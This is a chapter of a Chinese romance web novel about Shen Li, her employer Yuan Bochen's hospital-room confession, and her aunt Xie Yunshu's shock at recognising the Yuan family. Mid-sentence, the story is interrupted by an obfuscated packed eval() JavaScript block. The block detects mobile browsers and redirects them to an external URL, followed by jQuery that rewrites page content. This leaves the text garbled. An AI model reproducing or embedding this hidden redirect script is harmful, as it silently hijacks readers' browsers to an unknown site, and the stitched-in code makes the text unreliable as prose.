沈梨是一只鸵鸟。
二十七岁,没正儿八经谈过一次恋爱,这多少有些异样。
因此,她的“问题”很明确:教科书级别的回避型人格。
学生时代,顶着“校园女神”的光环,暗恋者众。可极少有人能真正走到她面前,笃定地说一句“我喜欢你”。她周身仿佛自带结界,对异性的好感信号异常迟钝,反射弧长得能绕地球半圈。加之学业拔尖、做事较真,令许多人望而却步。
像薄钰那样家境、相貌、性格都出众的男生,都在她面前踌躇多年,何况他人。
因此,当袁泊尘那句“我喜欢你”在寂静的病房里清晰落下时,沈梨的第一反应不是羞涩或慌乱,而是陷入了程序错乱般的宕机。
她扪心自问:喜欢他吗?
答案是肯定的。
她仰慕他,欣赏他,在他手下工作感到一种奇异的安心与振奋。他强大、沉稳、视野开阔,是她职业道路上近乎完美的灯塔。
可问题在于,袁泊尘现在似乎要亲手拆掉灯塔周围的围栏,邀请她走进去——甚至,成为灯塔的一部分?
等等,不对。
她混乱的思绪卡住了。
他只是说了“喜欢”。那句理应接踵而至的“你愿意做我女朋友吗”,他并未说出口。
他掷地有声地抛出前半句,却悬空了后半句。这模糊地带,比明确的追求更让她无所适从。
这一夜,袁泊尘留意着她的输液进度,而沈梨闭眼装睡,装着装着便真睡着了。
报应来了。她做了一个无比写实的噩梦。
梦里,她对袁泊尘说:“对不起,我觉得我们还是保持上下级关系比较好。”下一秒,她就收到了人力部的辞退邮件,理由赫然是“不符合企业文化”。
醒来时,天刚蒙蒙亮。VIP病房的窗帘遮光性极好,室内依旧昏暗。
沈梨盯着天花板上模糊的轮廓,心里只有一个念头:真是……好写实、好符合她生存焦虑的梦。
外间传来轻微的脚步声,由远及近。
沈梨神经一绷,几乎弹坐起来。
门被轻轻推开,袁泊尘走了进来。
他已全然不是昨夜那个在她病床前流露温柔的男人。他显然仔细打理过自己:头发一丝不苟,下颌干净,换上了崭新的白衬衫与笔挺的深色西装,恢复了平日那个严谨、克制、极具权威感的集团掌门人形象。
唯一与平日稍异的,是他系了一条暗红色领带。那颜色深邃浓郁,在他一身冷调中显得格外醒目,像寂静深海里一抹跳动的火焰。
沈梨的注意力几乎是不受控制地被那抹红吸引,呆呆地望着,甚至忘了此刻的紧张。
袁泊尘走到床边,察觉她目光的落点,眉梢几不可察地一动:“看哪儿呢?”
沈梨倏然回神,像上课走神被老师抓包,立刻坐得更直,仰脸看他。
因刚醒,又因心绪不宁,她的眼神有些茫然,配上略显凌乱的头发和苍白的脸色,显得有点呆。
袁泊尘看着她这副模样,几乎想伸手揉揉她的发顶,但立刻克制住了。现在的关系,还不到可以随意触碰的地步。任何亲昵都可能吓跑这只已受惊的“鸵鸟”。
他最终只是平静开口:“我今天上午有重要的会,必须准时到场。保姆一会儿会送换洗衣物和洗漱用品来,你打理好再回家休息。”他顿了顿,看着她,“今天给你放假,不用去公司。我已跟周政交代过。”
沈梨听着,一时没有应声,只是看着他,眼神依旧有些空茫,像在消化这些信息。
袁泊尘见她魂不守舍,以为她又想强撑,便补了一句,语气带着不容置疑的提醒:“今天是你的休息日。你如果再偷跑回去上班,我立刻就能知道。”
沈梨想起了上次腰伤时,他批了假,她却偷偷回公司加班被抓个正着的事。
她讪讪低头,小声应道:“知道了,我回家。”
袁泊尘眼底掠过一丝极淡的笑意,不再多言,最后深深看了她一眼,转身离开。
门被轻轻带上。
沈梨独自坐在宽敞的病床上,这扇门的隔音太好,甚至听不见他离开的脚步声。
她抬手,无意识地摸了摸自己的额头,那里似乎还残留着昨夜那个吻的轻柔触感。
掀开被子起身时,目光落在枕边。那条沾了污渍的深灰色真丝手帕,不知何时又回到了这里,被叠放得整整齐齐。
发呆坐了一会儿,袁泊尘家的保姆来了,她送来的衣物从内到外都舒适贴身。保姆很有分寸,东西送到自动离开了,没有多看更没有多问。
沈梨换上黑色的羊毛裙,感受到昂贵面料带来的妥帖感,仿佛整个人也被托上了不属于她的高度。而这正是她所别扭、却又无法准确传达给袁泊尘的。
洗漱后,镜中人虽仍有倦色,总算有了几分精神。她拢了拢头发,决定去康复中心看看谢鸢。
推开VIP病房的门,就在她转身带上门时,对面病房的门“咔嗒”一声,也被推开了。
沈梨抬头,猝不及防地对上了一双熟悉的眼睛,竟然是谢云书!
谢云书穿着浅蓝色护工服,头发整齐束在脑后,手里拿着记录板。她显然已正式上岗。沈梨最近忙得昼夜不分,只隐约记得她提过培训,没想到这么快就已穿着这身衣服站在这里。
两人同时一愣。
谢云书先回过神来,眼里浮起讶异,这个时间,沈梨怎会在医院?她瞥了眼VIP病房门口的标识,第一反应是沈梨来探病。
可话还没问出口,昨夜值班的护士正好走来,将一张饮食注意事项表递给沈梨:“沈小姐,这些是您近期需注意的,生冷刺激都不能碰,您刚恢复,饮食一定要当心。”
“谢谢。”沈梨接过,声音还带着病后的轻哑。
谢云书怔了一瞬,随即快步走近,目光在她脸上仔细掠过:“梨子,你怎么病了?严重吗?”
“急性肠胃炎,输了液,已经没事了。”沈梨笑着安慰,想让她放心。
谢云书松了口气,可随即,新的疑惑悄然升起……这里的VIP病房,不是光有钱就能住的,自家侄女怎么会住在这儿?
她刚准备开口,但她随即注意到了沈梨面对她时,那无意识地躲闪和心虚。以她对沈梨的了解,此刻正害怕被问起。
谢云书咽下疑问,只轻声说:“没事就好。上班别太拼,三餐一定要按时吃。我现在没法给你做饭,你自己要记得,不然落下病根就麻烦了。”
“好,我知道啦。”沈梨见她没追问,放松了不少,上前揽了揽她的肩,“小姨,你认真上班,我不打扰了,我去康复中心看看阿鸢。对了,她最近状态怎么样?”
“有进步,但说话还是费劲。”谢云书语气宽慰,却掩不住一丝心疼,“她心里急,有时会跟自己生气。”
“慢慢来,她还小,学得快。”
“嗯,我也有信心。”谢云书肯定地点点头。
和谢云书分别,沈梨在医院咖啡厅买了一份草莓蛋糕,小小的,铺着鲜红果粒和奶油,谢鸢最爱这个。
康复病房里,谢鸢正坐在窗边,手握图画书,嘴唇轻轻嚅动,却发不出连贯的音节。看到沈梨,她眼睛一亮,想说什么,张口却卡住了:“草……草……”
“草莓蛋糕。”沈梨接过她的话,打开盒子,甜香飘出。
谢鸢盯着蛋糕,眼睛微微发红。不是难过,是懊恼,她怎么连这么简单的词都说不好。
沈梨在她身边坐下,舀了一小勺递过去:“先吃一口,我们慢慢说。”
谢鸢含住勺子,甜味在舌尖化开。沈梨也不催,只是陪着她,两人你一勺我一勺,慢慢吃完。蛋糕见底,谢鸢情绪平复了些,沈梨又拿出跳棋,陪她下了一盘。
谢鸢下棋时很专注,移动棋子的手指稳了许多。赢下一盘后,她终于笑起来,笑容虽仍僵硬,眼里的阴霾却散去了。
沈梨决定把今天的休息日当作“陪伴谢鸢日”,她已许久没好好陪妹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005590|191881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妹,见她如此辛苦地重新学习那些曾运用自如的词语,心里酸酸的,全是疼惜。
另一边,谢云书忙完一轮,心里仍有些放不下。
她走到护士站,状似随意地问:“VIP1室那位,是什么来头呀?今早出去时看着挺年轻的。”她在撒谎,今早除了沈梨之外她根本没见到VIP1室有人出来。
值班护士与她相熟,压低声音道:“姓袁。其他的就不能多说了,VIP客户的隐私得保护,毕竟这可是医院创收的一大来源啊。”
姓袁。
谢云书心里蓦地一跳。
她记得沈梨提过,她的老板也姓袁,叫袁什么来着……她走到走廊尽头无人的角落,背靠墙壁,拿出手机,在搜索框输入“天工集团董事长”。
页面跳转。
一张照片映入眼帘——男人穿着深色西装,面容清峻,眼神平静无波。下方关联着财经新闻的标题:“天工集团掌门人:引领全产业链创新浪潮”。
袁泊尘。
谢云书的呼吸霎时停住。
她盯着那张照片,视线一点点模糊,又一点点清晰。她将手机拉近,仿佛要从屏幕里将人抠出来一般。震惊、无措、茫然……复杂的情绪轰然涌来,她甚至拿不稳掌心的手机。
十一年了。
她没有认错。袁家的人,就是这样的骨相。
她以为此生再也寻不到的人,就这样猝不及防地出现了一丝转机。接下来,她只需通过沈梨,就能找到袁泊尘,然后就能找到……
失去爱人的痛楚从未真正消退,此刻更是翻涌而上,绞得她五脏六腑都在战栗。她顺着墙壁滑坐下去,手机从手中脱落,“啪”一声轻响,屏幕朝下扣在了地上。
走廊空旷,无人经过。
她蜷起膝盖,将脸埋进臂弯。
喜悦与悲痛如两股潮水同时淹没她,她该高兴的,这么多年,她终于有了确切的坐标,一个可以触达的方向。与此同时,巨大的惶恐攫住了她,如果他已经有了家庭,如果他已经彻底走出了过去,那她的出现,算什么?
谢云书抬起头,眼角干涩。十一年的痛苦和折磨之后,她竟然无法为自己的最爱流下一滴眼泪。
她竟然想逃。
拾起手机,屏幕已暗。她再无勇气按亮,只是扶着墙,慢慢站起。
布达佩斯的旧事,忽然清晰如昨。那座城市的阳光、鸽群与桥影,曾见证过她最炽热也最绝望的爱恋。而走出布达佩斯的他们,仿佛就此踏进了一段漫长的、没有尽头的黑夜。
她将手机收进口袋,吃力地扶着墙壁站了起来,没吃早餐又忙了一早上导致头晕目眩,她不得不停下来。
“谢姐,你怎么了?是不是低血糖了?”年轻的护士跑了过来,伸手搀扶住了她。
谢云书为人真诚又勤快认真,再加上她外形好又爱干净,培训后就被分在了VIP着一层,很多时候她还帮着护士站打扫卫生,大家都很喜欢她。
护士小妹见她嘴唇煞白,又去拿了一瓶口服的葡萄糖。
谢云书喝了葡萄糖,又被护士小妹扶到护士站坐了一会儿,终于状态好转了。
“谢姐,我看你今早在和VIP1室的夫人说话,你们认识啊?”护士小妹终于想起来八卦了。
昨晚VIP1室住进了病人,这一层楼的人都知道了。再加上男的帅气稳重,不怒自威,很像电视剧里面的霸总,女的又年轻漂亮,更是点燃了大家的好奇心。
谢云书怔了一下:“哦,之前见过,不认识。”
“这样啊,我来了这么久,第一次见VIP1室住人呢,她先生肯定很了不起。”护士小妹满怀憧憬的道,“不知道是不是像是电视剧里面那样,豪门联姻,强强联合。”
谢云书低头,默不作声。
“谢姐,你要是真认识她就好了,这样你女儿能有贵人相助,你也不用这么辛苦赚钱了。”
谢云书苦笑,沈梨啊沈梨,你让我怎么向姐姐交代啊。